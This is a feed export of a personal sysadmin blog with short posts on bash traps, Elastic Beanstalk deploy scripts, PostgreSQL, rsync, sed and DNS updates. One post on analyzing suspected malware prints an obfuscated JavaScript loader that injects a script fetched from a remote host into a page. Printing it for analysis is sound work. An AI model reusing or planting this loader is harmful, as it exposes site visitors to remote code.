tag:blogger.com,1999:blog-86696411533001291872024-03-13T21:11:45.962-07:00My New KnowledgePython, IaC, algo trading, programming, server administration, Linux, PHP, CakePHP, PostgreSQL, MySQL, Joomla ...Unknownnoreply@blogger.comBlogger118125tag:blogger.com,1999:blog-8669641153300129187.post-83722678372893770032016-06-03T10:16:00.000-07:002016-06-03T10:16:58.269-07:00cancel script completely on ctrl-cI found this question interesting: basically how to cancel completely a script and all child processes :<br />
<br />
<br />
<div class="post-text" itemprop="text">
You do this by creating a subroutine you want to call when SIGINT is received, and you need to run <code>trap 'subroutinename' INT</code>. <br />
Example:<br />
<pre class="lang-sh prettyprint prettyprinted"><code><span class="com">#!/bin/bash</span><span class="pln">
int_handler</span><span class="pun">()</span><span class="pln">
</span><span class="pun">{</span><span class="pln">
echo </span><span class="str">"Interrupted."</span><span class="pln">
</span><span class="com"># Kill the parent process of the script.</span><span class="pln">
kill $PPID
exit </span><span class="lit">1</span><span class="pln">
</span><span class="pun">}</span><span class="pln">
trap </span><span class="str">'int_handler'</span><span class="pln"> INT
</span><span class="kwd">while</span><span class="pln"> true</span><span class="pun">;</span><span class="pln"> </span><span class="kwd">do</span><span class="pln">
sleep </span><span class="lit">1</span><span class="pln">
echo </span><span class="str">"I'm still alive!"</span><span class="pln">
</span><span class="kwd">done</span><span class="pln">
</span><span class="com"># We never reach this part.</span><span class="pln">
exit </span><span class="lit">0</span></code></pre>
<pre class="lang-sh prettyprint prettyprinted"><code><span class="lit"> </span></code></pre>
<pre class="lang-sh prettyprint prettyprinted"><code><span class="lit">Taken from: http://serverfault.com/questions/328089/ctrl-c-in-bash-scripts </span></code></pre>
</div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-8669641153300129187.post-41360586250360018962016-05-14T08:22:00.002-07:002016-05-14T08:22:45.014-07:00linux root user aliasesSo I was getting crazier about an email bounce I was receiving, and I didnt know the cause.<br />
<br />
It turns our that in /etc/aliases file, you can configure the alias to the users...Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-8669641153300129187.post-24811348062055188982016-02-10T20:14:00.001-08:002016-02-10T20:14:50.619-08:00boot ubuntu 11.04 desktop direct into console (text) but switch to GUI whenever you wantI followed this steps to boot directly into console mode... After lofin, the command startx shows the GUI..<br />
<br />
taken from: <a href="http://askubuntu.com/questions/74645/possible-to-install-ubuntu-desktop-and-then-boot-to-no-gui">http://askubuntu.com/questions/74645/possible-to-install-ubuntu-desktop-and-then-boot-to-no-gui</a><br />
<br />
<br />
<div style="background-color: #f7f7f7; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; clear: both; color: #333333; font-family: 'Ubuntu Beta', UbuntuBeta, Ubuntu, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, sans-serif; font-size: 14px; line-height: 17px; margin-bottom: 1em; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; vertical-align: baseline; word-wrap: break-word;">
did following</div>
<div style="background-color: #f7f7f7; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; clear: both; color: #333333; font-family: 'Ubuntu Beta', UbuntuBeta, Ubuntu, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, sans-serif; font-size: 14px; line-height: 17px; margin-bottom: 1em; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; vertical-align: baseline; word-wrap: break-word;">
<b style="background-color: transparent; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">Step 1</b> First update your repository by running</div>
<div style="background-color: #f7f7f7; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; clear: both; color: #333333; font-family: 'Ubuntu Beta', UbuntuBeta, Ubuntu, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, sans-serif; font-size: 14px; line-height: 17px; margin-bottom: 1em; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; vertical-align: baseline; word-wrap: break-word;">
sudo apt-get update</div>
<div style="background-color: #f7f7f7; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; clear: both; color: #333333; font-family: 'Ubuntu Beta', UbuntuBeta, Ubuntu, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, sans-serif; font-size: 14px; line-height: 17px; margin-bottom: 1em; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; vertical-align: baseline; word-wrap: break-word;">
<b style="background-color: transparent; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">Step 2</b> There is some bug in old version of lightdm, so we need to upgrade the same. To do so run,</div>
<div style="background-color: #f7f7f7; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; clear: both; color: #333333; font-family: 'Ubuntu Beta', UbuntuBeta, Ubuntu, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, sans-serif; font-size: 14px; line-height: 17px; margin-bottom: 1em; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; vertical-align: baseline; word-wrap: break-word;">
sudo apt-get install lightdm</div>
<div style="background-color: #f7f7f7; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; clear: both; color: #333333; font-family: 'Ubuntu Beta', UbuntuBeta, Ubuntu, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, sans-serif; font-size: 14px; line-height: 17px; margin-bottom: 1em; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; vertical-align: baseline; word-wrap: break-word;">
<b style="background-color: transparent; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">Step 3</b> Now we have to modify grub config. <b style="background-color: transparent; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">Step 3a</b> Open /etc/default/grub with your faviourite editor and change</div>
<div style="background-color: #f7f7f7; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; clear: both; color: #333333; font-family: 'Ubuntu Beta', UbuntuBeta, Ubuntu, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, sans-serif; font-size: 14px; line-height: 17px; margin-bottom: 1em; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; vertical-align: baseline; word-wrap: break-word;">
GRUB_CMDLINE_LINUX_DEFAULT="quiet splash"</div>
<div style="background-color: #f7f7f7; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; clear: both; color: #333333; font-family: 'Ubuntu Beta', UbuntuBeta, Ubuntu, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, sans-serif; font-size: 14px; line-height: 17px; margin-bottom: 1em; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; vertical-align: baseline; word-wrap: break-word;">
to</div>
<div style="background-color: #f7f7f7; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; clear: both; color: #333333; font-family: 'Ubuntu Beta', UbuntuBeta, Ubuntu, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, sans-serif; font-size: 14px; line-height: 17px; margin-bottom: 1em; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; vertical-align: baseline; word-wrap: break-word;">
GRUB_CMDLINE_LINUX_DEFAULT="text"</div>
<div style="background-color: #f7f7f7; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; clear: both; color: #333333; font-family: 'Ubuntu Beta', UbuntuBeta, Ubuntu, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, sans-serif; font-size: 14px; line-height: 17px; margin-bottom: 1em; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; vertical-align: baseline; word-wrap: break-word;">
<b style="background-color: transparent; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">Step 3b</b> Also comment GRUB_HIDDEN_TIMEOUT=0 This line is for unhiding the GRUB menu</div>
<div style="background-color: #f7f7f7; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; clear: both; color: #333333; font-family: 'Ubuntu Beta', UbuntuBeta, Ubuntu, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, sans-serif; font-size: 14px; line-height: 17px; margin-bottom: 1em; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; vertical-align: baseline; word-wrap: break-word;">
<b style="background-color: transparent; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">Step 4</b> Now we will upgrade GRUB configuration</div>
<div style="background-color: #f7f7f7; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; clear: both; color: #333333; font-family: 'Ubuntu Beta', UbuntuBeta, Ubuntu, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, sans-serif; font-size: 14px; line-height: 17px; margin-bottom: 1em; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; vertical-align: baseline; word-wrap: break-word;">
sudo update-grub</div>
<div style="background-color: #f7f7f7; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; clear: both; color: #333333; font-family: 'Ubuntu Beta', UbuntuBeta, Ubuntu, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, sans-serif; font-size: 14px; line-height: 17px; margin-bottom: 1em; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; vertical-align: baseline; word-wrap: break-word;">
<b style="background-color: transparent; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">Step 5</b> Ubuntu 11.10 Desktop edition use lightdm for GUI. We need to disable the same</div>
<div style="background-color: #f7f7f7; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; clear: both; color: #333333; font-family: 'Ubuntu Beta', UbuntuBeta, Ubuntu, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, sans-serif; font-size: 14px; line-height: 17px; margin-bottom: 1em; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; vertical-align: baseline; word-wrap: break-word;">
sudo update-rc.d -f lightdm remove</div>
<div style="background-color: #f7f7f7; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; clear: both; color: #333333; font-family: 'Ubuntu Beta', UbuntuBeta, Ubuntu, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, sans-serif; font-size: 14px; line-height: 17px; margin-bottom: 1em; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; vertical-align: baseline; word-wrap: break-word;">
<b style="background-color: transparent; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">Step 6</b> Now restart your machine.</div>
<div style="background-color: #f7f7f7; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; clear: both; color: #333333; font-family: 'Ubuntu Beta', UbuntuBeta, Ubuntu, 'Bitstream Vera Sans', 'DejaVu Sans', Tahoma, sans-serif; font-size: 14px; line-height: 17px; margin-bottom: 1em; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: left; vertical-align: baseline; word-wrap: break-word;">
Found at <a href="http://www.techienote.com/2012/01/disable-gui-boot-in-ubuntu-11-10.html" rel="nofollow" style="background-color: transparent; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #962d0c; cursor: pointer; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: none; vertical-align: baseline;">Disable GUI Boot in Ubuntu 11.10</a></div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-8669641153300129187.post-35647446653578405592016-02-08T14:25:00.000-08:002016-02-08T14:58:55.817-08:00script to push to Amazon Elastic Beanstalk (EB) using the CLI and Git with downtime (swapping environments)I wanted to automate pushing to my Elastic Beanstalk Amazon environment...<br />
<br />
here is the simple script I came up with:<br />
<br />
requirements:<br />
- you should be able to upload a new version already using Git<br />
- have the EB CLI 3.7.2 (Python 3.4.3) configured in the directory where you are running this script<br />
<br />
- copy this script into the directory that you are going to upload<br />
- give the script execution permissions<br />
- eb list should have a current environment (depicted with a '*')<br />
<br />
<span style="font-family: "courier new" , "courier" , monospace;">#!/bin/bash<br />set -e</span><span style="font-family: "courier new" , "courier" , monospace;"><span style="font-family: "courier new" , "courier" , monospace;">#get the current environment</span> </span><br />
<span style="font-family: "courier new" , "courier" , monospace;">/usr/local/bin/eb list > temp_environment</span><br />
<span style="font-family: "courier new" , "courier" , monospace;">temp_environment=$(grep \* temp_environment | cut -f2 -d" ")<br /><br />echo<br />echo<br />echo "detected environment ->$temp_environment<-"<br />echo "subtitute this environment y/N"<br /><br />read answer<br /><br />if [ "$</span><span style="font-family: "courier new" , "courier" , monospace;"><span style="font-family: "courier new" , "courier" , monospace;">answer</span>" = "y" ]; then<br /> a=1<br />else<br /> echo "your answer was $</span><span style="font-family: "courier new" , "courier" , monospace;"><span style="font-family: "courier new" , "courier" , monospace;"></span><span style="font-family: "courier new" , "courier" , monospace;"><span style="font-family: "courier new" , "courier" , monospace;">answer</span></span>. byee!"<br /> exit 1<br />fi<br /><br />echo "substituting environmet with current version"<br /><br />echo<br />echo<br /><br />sufijo=`date +%a%y%m%d%H%M%S`<br /><br />ambiente_sin_sufijo=$(echo $temp_environment | cut -d"-" -f1)<br />sufijo_ambiente=$(echo $temp_environment | cut -d"-" -f2)<br /><br />dayname=$(echo $sufijo_ambiente | cut -c1-3)<br />year=$(echo $sufijo_ambiente | cut -c4-5)<br />mon=$(echo $sufijo_ambiente | cut -c6-7)<br />day=$(echo $sufijo_ambiente | cut -c8-9)<br />hour=$(echo $sufijo_ambiente | cut -c10-11)<br />min=$(echo $sufijo_ambiente | cut -c12-13)<br />sec=$(echo $sufijo_ambiente | cut -c14-15)<br /><br />set -x<br /><br />echo "New version uploaded to EB: `date`" > gitlog.temp<br />echo "" >> gitlog.temp<br />echo "The files that changed since last time are:" >> gitlog.temp<br />echo "" >> gitlog.temp<br /><br /><span style="font-family: "courier new" , "courier" , monospace;">set -f<br />git log --name-only --no-color --graph '--pretty=format:%h - %s' --abbrev-commit --since "20$year-$mon-$day $hour:$min:$sec" >> gitlog.temp</span></span><br />
<span style="font-family: "courier new" , "courier" , monospace;"><br />ambiente_final="prod"-"$sufijo"<br /><br />echo "Deploying to: $ambiente_final and then swapping with: $temp_environment"<br />echo "do you wish to continue? s/N"<br /><br />read respuesta<br /><br />if [ "$respuesta" = "s" ]; then<br /> a=1<br />else<br /> echo "su respuesta fue $respuesta, entonces salimos. chao!"<br /> exit 1<br />fi<br /><br /><br />set -x<br /><br />eb clone "$temp_environment" -n "$ambiente_final" --timeout 15 || exit 1<br />eb deploy "$ambiente_final" || exit 1<br />eb swap "$temp_environment" -n "$ambiente_final" || exit 1<br />eb use "$ambiente_final" || exit 1<br /><br />set +x<br /><br />echo<br />echo<br />echo<br />echo FINISHED !!!<br />echo<br />echo<br />echo "Remember to execute -> eb terminate $temp_environment <-"<br /><br />mail -s "New version" -r "Auto Uploader<no-reply@mail.com>" myemail@mail.com < gitlog.temp<br /><br />rm gitlog.temp</span>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-8669641153300129187.post-34706507090609656252016-02-08T14:08:00.005-08:002016-02-08T14:08:52.098-08:00send text file contents throught mail in bash mail<br /><br />turns out it is quite simple:<br /><br />
for example:<br /><br /><span style="font-family: "Courier New",Courier,monospace;">mail -s 'Uptime Report' you@mail.com -c copy@mail.com < /tmp/output.txt </span><br />
<br />
<br />
<br />
<br />
<br />taken from: http://www.cyberciti.biz/faq/email-howto-send-text-file-using-unix-appleosx-bsd/ <br />Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-8669641153300129187.post-4687582509186395792015-11-30T16:33:00.001-08:002015-11-30T16:33:51.657-08:00using the COPY command in psql client (postgresql)Useful to export/import data<br />
<br />
Here is the syntax for COPY, as returned by the 8.3 client:
<br />
<pre>db=# \h COPY
Command: COPY
Description: copy data between a file and a table
Syntax:
COPY tablename [ ( column [, ...] ) ]
FROM { 'filename' | STDIN }
[ [ WITH ]
[ BINARY ]
[ OIDS ]
[ DELIMITER [ AS ] 'delimiter' ]
[ NULL [ AS ] 'null string' ]
[ CSV [ HEADER ]
[ QUOTE [ AS ] 'quote' ]
[ ESCAPE [ AS ] 'escape' ]
[ FORCE NOT NULL column [, ...] ]
COPY { tablename [ ( column [, ...] ) ] | ( query ) }
TO { 'filename' | STDOUT }
[ [ WITH ]
[ BINARY ]
[ OIDS ]
[ DELIMITER [ AS ] 'delimiter' ]
[ NULL [ AS ] 'null string' ]
[ CSV [ HEADER ]
[ QUOTE [ AS ] 'quote' ]
[ ESCAPE [ AS ] 'escape' ]
[ FORCE QUOTE column [, ...] ]
</pre>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-8669641153300129187.post-25078841920839978712015-11-29T16:37:00.004-08:002015-11-29T16:39:25.556-08:00Re Blog - Remove the Endnote Separator Line in Word 2013I finally found a way to remove the annoying end note separator (line) in Word 2013<br />
<br />
It was here:https://uknowit.uwgb.edu/page.php?id=50456<br />
<br />
<ol>
<li>Go to View->Draft</li>
<li>References->Show Footnotes</li>
<li>Delete the footnote separator</li>
</ol>
Voilà! <br /><br />
<h2 class="title">
Remove the Endnote Separator Line in Word 2013</h2>
<div id="doc-summary">
Follow these steps to remove the Endnote separator line in Word 2013.</div>
<ol>
<li>Below is an example of an endnote separator line. (Below the words "Human Resources") *Note the endnotes are in green. <br /><br />
<img alt="Endnote1.png" height="212" src="https://uknowit.uwgb.edu/images/group91/50456/Endnote1.png" title="Endnote1.png" width="604" />
<br /></li>
<li>Select the <b>View</b> tab. From the Views group, select <b>Draft</b>. <br /><br />
<img alt="Endnote2.png" height="177" src="https://uknowit.uwgb.edu/images/group91/50456/Endnote2.png" title="Endnote2.png" width="510" />
<br /></li>
<li>To display the Endnote options, select the <b>Reference</b> tab, and then "<b>Show Notes</b>" from the Footnotes group.<br />
<br />
<img alt="EndNote3.png" height="430" src="https://uknowit.uwgb.edu/images/group91/50456/EndNote3.png" title="EndNote3.png" width="668" /><br /><br /><br />
</li>
<li>From the Endnotes drop-down box, select "Endnote Separator". <b>Select</b> the separator line and press your <b>delete </b>key. <br /><br />
<img alt="Endnote4.png" height="113" src="https://uknowit.uwgb.edu/images/group91/50456/Endnote4.png" title="Endnote4.png" width="408" /><br /><br /><br />
</li>
<li>Switch back to <b>Page Layout</b> view and note that the separator line has been deleted. <br /><br />
<img alt="Endnote5.png" height="178" src="https://uknowit.uwgb.edu/images/group91/50456/Endnote5.png" title="Endnote5.png" width="525" />
</li>
</ol>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-8669641153300129187.post-42926772686056248572015-09-30T07:35:00.002-07:002015-09-30T07:35:26.534-07:00Rsync tricks and how to rsync only one type of files by extensionRsync is a wonderful tool. It has many options.<br />
<br />
But to sync only a file type among many files in a dir eluded me.<br />
<br />
After some googling I found this command:<br />
<br /><span style="font-family: "Courier New",Courier,monospace;">rsync -rv --include '*/' --include '*.js' --exclude '*' --prune-empty-dirs Source/ Target/</span><br />
<br />
I found it on this blog: https://silentorbit.com/notes/2013/08/rsync-by-extension/<br />
<br />
<header>
<h1>
How to rsync only one type of files by extension</h1>
<div class="meta">
<time datetime="2013-08-10T00:00:00Z">Sat 10 Aug 2013</time></div>
</header>
<section>
Having a file structure full of various file types you want to sync only files of one type into a new location.<br />
<pre><code>rsync -rv --include '*/' --include '*.js' --exclude '*' --prune-empty-dirs Source/ Target/
</code></pre>
This will generate the same structure found in <code>Source</code> into <code>Target</code> but only including the JavaScript(.js) files.<br />
Note the usage of <code>'</code> around the arguments containing <code>*</code> since we don't want it to be expanded in a bash shell.<br />
The first <code>--include '*/'</code> is to make sure sub-directories are scanned.
This would also include all directories does not include the file you want resulting in empty directories in <code>Target</code>. To remove these empty directories we use <code>--prune-empty-dirs</code><br />
The <code>--include '*.js'</code> is rather self explanatory, and you can add more as you need.<br />
Finally we exclude all other files we don't want using <code>--exclude '*'</code><br />
</section><br />
<br />
Thank you very much!Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-8669641153300129187.post-16243148478296576082015-08-03T06:40:00.001-07:002015-08-03T06:40:38.633-07:00Owner of tables in postgresqlI though of re blogging this: http://cully.biz/2013/12/11/postgresql-getting-the-owner-of-tables/<br />
<br />
Although for some strange reason the particular table I want to know the owner does not appear in the list, yet all other ones do (oh, Murphy!)<br />
<br />
<code>select t.table_name, t.table_type, c.relname, c.relowner, u.usename<br />
from information_schema.tables t<br />
join pg_catalog.pg_class c on (t.table_name = c.relname)<br />
join pg_catalog.pg_user u on (c.relowner = u.usesysid)<br />
where t.table_schema='public';</code>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-8669641153300129187.post-35909943366199735172015-06-25T16:00:00.001-07:002016-05-14T08:37:37.251-07:00How to analyze obfuscated javascript to see if it's malware<br />
UPDATE: I think know that the <a href="http://www.clamav.net/">ClamAV antivirus</a> tool is much better way to deal with this...<br />
<br />
I had to analyze a obfuscated javascript code.<br />
<br />
I found a nifty tool to do the job: http://wepawet.iseclab.org/<br />
<br />
Here are before... this I believe is malware... <br />
<span style="font-family: "courier new" , "courier" , monospace;"><br /></span>
<span style="font-family: "courier new" , "courier" , monospace;">eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('12(T(p,a,c,k,e,d){e=T(c){U(c<a?\'\':e(1f(c/a)))+((c=c%a)>1e?W.1d(c+1h):c.13(11))};X(!\'\'.V(/^/,W)){Y(c--){d[e(c)]=k[c]||e(c)}k=[T(e){U d[e]}];e=T(){U\'\\\\w+\'};c=1};Y(c--){X(k[c]){p=p.V(10 14(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c])}}U p}(\'v(l(p,a,c,k,e,d){e=l(c){m c.n(z)};q(!\\\'\\\'.t(/^/,B)){r(c--){d[c.n(a)]=k[c]||c.n(a)}k=[l(e){m d[e]}];e=l(){m\\\'\\\\\\\\w+\\\'};c=1};r(c--){q(k[c]){p=p.t(C D(\\\'\\\\\\\\b\\\'+e(c)+\\\'\\\\\\\\b\\\',\\\'g\\\'),k[c])}}m p}(\\\'1 4=4||[];(b(){1 2=5.e(\\\\\\\'7\\\\\\\');2.a=\\\\\\\'8://9.d.f/k.6?//i.6?g\\\\\\\';1 3=5.j(\\\\\\\'7\\\\\\\')[0];3.h.c(2,3)})();\\\',o,o,\\\'|y|u|s|E|x|A|G|Q|N|P|l|R|S|O|L|M|F|H|I|K\\\'.J(\\\'|\\\'),0,{}))\',Z,Z,\'|||||||||||||||||||||T|U|13|17||X|Y||V|1m|12||1q|1r|11|1n|W|10|14|1l|1o|1c|1k|1i|15|1j|1s|1p|1g|19|18|16|1b|1a\'.15(\'|\'),0,{}))',62,91,'|||||||||||||||||||||||||||||||||||||||||||||||||||||||function|return|replace|String|if|while|55|new|36|eval|toString|RegExp|split|http|21|src|createElement|tongjii|insertBefore|script|fromCharCode|35|parseInt|lib|29|getElementsByTagName|tj|google|_hmt_en|hm_en|js|parentNode|41d12a21b4e1a726d4a651685b118811662033874|document|var|us'.split('|'),0,{}))</span><br />
<br />
<br />Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-8669641153300129187.post-20189517382632321402015-06-12T08:00:00.001-07:002015-06-12T08:00:08.592-07:00exporting schema's create tables only from postgresI wanted to export only the CREATE TABLEs from a postgresql database, so I did<br />
<br />
<pre><span style="font-family: "Courier New",Courier,monospace;">pg_dump -h HOST -s databasename -O -U user -W | awk 'RS="";/CREATE TABLE[^;]*;/' </span></pre>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-8669641153300129187.post-56580809188271671672015-06-12T07:56:00.003-07:002015-06-15T18:43:31.733-07:00substituting a function name with sed and findI needed to change a<br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">function foo('', '', 'whatever') </span><br />
<br />
to a<br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">bar('whatever')</span><br />
<br />
in a bunch of files.<br />
<br />
There are many ways to do this, I decided to edit directly the files with good ol' find & sed<br />
<br />
<span style="font-family: "Courier New",Courier,monospace;">find . -name "*.js" -exec sed --in-place -re "s/</span><span style="font-family: "Courier New",Courier,monospace;"><span style="font-family: "Courier New",Courier,monospace;">foo</span>\([^,]*,[^,]*,[^'\"]*(['\"])(.*)\1/</span><span style="font-family: "Courier New",Courier,monospace;"><span style="font-family: "Courier New",Courier,monospace;">bar</span>('\2')/g" {} \;</span><br />
<br />
options:<br />
-r: Key points where to use the full extended regular expression<br />
-r: expression<br />
\1: notice I match the initial ' or " with a back reference!Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-8669641153300129187.post-16014831812538647802015-05-19T11:41:00.003-07:002016-02-08T14:34:05.373-08:00force basg to write history after each command in bash console linux/psql clientThis is the reductio<br />
<br />
in bash.bashrc or .bashrc find and substitute accordingl <br />
<br />
shopt -s histappend<br />
PROMPT_COMMAND = ...whatever you already have ....<br />
PROMPT_COMMAND="history -a;$PROMPT_COMMAND"<br />
<code><br /></code>Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-8669641153300129187.post-21561636827006130112015-04-01T14:22:00.001-07:002015-04-01T14:22:16.328-07:00Updating dynamic IP (A record) from a hosted zone on Amazon's Route53 (AWS R53)One of my servers has a dynamic IP. I needed to update AWS R53 service to point at the new IP whenever it changes.<br />
<br />
I found this script https://github.com/holgr/php-ddns53 which is a PHP script that you can put in cron to update R53 on a minute basis.<br />
<br />
I installed it today, we'll see how it works.<br />
<br />
I imagine that a better way to do it would be to use AWS to check if the domain is down (maybe because its pointing to the wrong IP), and in that case use this PHP script.<br />
<br />
But this quick-n-dirty should be enough.Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-8669641153300129187.post-64678229448095927902015-04-01T10:38:00.002-07:002015-04-01T10:38:21.984-07:00how to configure Firefox to use an SSH tunnel with puttyIt's pretty straight forward.<br />
<br />
Open putty, configure you session by going to this screen, configure as you see and click Add.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
